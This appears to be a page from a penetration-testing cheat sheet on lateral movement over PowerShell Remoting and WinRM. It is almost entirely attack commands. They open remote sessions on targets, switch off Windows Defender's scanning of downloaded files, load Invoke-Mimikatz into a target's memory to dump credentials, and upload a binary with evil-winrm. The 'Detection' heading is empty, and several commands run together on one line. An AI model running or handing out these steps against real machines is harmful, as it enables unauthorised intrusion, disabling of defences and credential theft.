Powershell Remoting - WinRM
Enable-PSRemoting -Force$sess = New-PSSession -ComputerName <TARGET_COMPUTER>
Enter-PSSession -Session $sess# Injecting the "whoami" command into a list of machines
Invoke-command -ScriptBlock {whoami} -ComputerName (Get-Content <list_of_servers>)
# Executing a command in the created session ( DisableIOAVProtection indicates whether Windows Defender scans all downloaded files and attachments).
Invoke-command -ScriptBlock {Set-MpPreference -DisableIOAVProtection $true} -Session $sess
# Loading a PowerShell script directly into the memory of the targeted machine
Invoke-command -Filepath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess
# Calling a PowerShell function
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sessevil-winrm -i <IP> -u <USERNAME> -p <PASSWORD> -s /path/to/binary/you_want_to_uploadDetection :
Last updated